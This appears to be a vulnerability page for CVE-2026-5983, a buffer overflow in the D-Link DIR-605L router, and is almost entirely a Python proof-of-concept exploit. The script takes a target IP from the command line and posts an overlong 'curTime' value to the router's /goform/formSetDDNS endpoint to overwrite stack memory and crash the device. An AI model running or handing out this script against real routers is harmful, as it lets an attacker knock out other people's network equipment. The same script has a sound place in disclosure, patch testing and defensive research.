CVE-2026-5983 D-Link DIR-605L 缓冲区溢出漏洞

import requests def exploit_poc(target_ip): """ Proof of Concept for CVE-2026-5983 This script sends a malicious POST request to trigger the buffer overflow. """ target_url = f"http://{target_ip}/goform/formSetDDNS" # The 'curTime' parameter is vulnerable. # Sending a long string to overwrite the return address on the stack. # Adjust the length based on specific buffer size analysis. payload_data = { "curTime": "A" * 1000 } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; ExploitBot/1.0)" } try: print(f"[+] Sending payload to {target_url}...") response = requests.post(target_url, data=payload_data, headers=headers, timeout=5) print(f"[+] Response status code: {response.status_code}") if response.status_code != 200: print("[!] Target may have crashed or service disrupted.") else: print("[!] Request sent, check device status for crash.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python exploit.py <target_ip>") else: exploit_poc(sys.argv[1])